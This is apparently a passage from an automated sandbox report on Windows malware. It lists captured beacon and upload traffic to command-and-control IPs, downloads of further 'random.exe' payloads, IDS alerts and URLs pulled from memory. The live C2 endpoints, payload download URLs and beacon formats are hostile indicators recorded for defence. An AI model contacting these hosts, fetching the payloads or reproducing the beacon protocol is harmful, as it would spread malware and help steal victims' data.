00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 34 33 36 45 42 44 41 33 43 45 32 39 31 34 36 34 38 33 37 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="hwid"58436EBDA3CE2914648374------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="build"stok------HJDHCFCBGIDGHJJKJJDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/zipcryptservice/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 32 34 30 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1024077001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 42 37 33 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52B73B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49839 -> 31.41.244.11:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8MWBO38WKWQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18121Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AL5394FADJ8M0IBE8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8778Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0S5Q0GTKT2X3EY5HMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20431Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9ZXPC8CQJLMWURHZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1275Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=X62FKJT778XG3E2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569814Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

Code function: 5_2_0083E0C0 recv,recv,recv,recv,

5_2_0083E0C0

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/zipcryptservice/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic

DNS traffic detected: DNS query: mindhandru.buzz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: Idau8QuYa3.exe, 00000000.00000003.2004867389.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: Idau8QuYa3.exe, 00000000.00000003.2004867389.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/0
Source: Idau8QuYa3.exe, 00000000.00000003.2004908373.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: Idau8QuYa3.exe, Idau8QuYa3.exe, 00000000.00000003.2004908373.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: Idau8QuYa3.exe, 00000000.00000003.2004947060.0000000000E66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe--
Source: Idau8QuYa3.exe, 00000000.00000003.2004867389.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/v
Source: Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exe
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/W
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/b
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpK
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpc
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2935695973.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php(2
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php)
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php32D
Source: skotes.exe, 00000008.00000002.2935695973.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0
Source: skotes.exe, 00000008.00000002.2935695973.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpA
Source: skotes.exe, 00000008.00000002.2935695973.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpM
Source: skotes.exe, 00000008.00000002.2935695973.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpY
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpd
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded;
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedY
Source: skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000008.00000002.2935695973.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2935695973.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2935695973.0000000000A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/zipcryptservice/random.exe
Source: skotes.exe, 00000008.00000002.2935695973.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/zipcryptservice/random.exe)
Source: skotes.exe, 00000008.00000002.2935695973.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/zipcryptservice/random.exe123456789
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Idau8QuYa3.exe, 00000000.00000003.1798000352.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
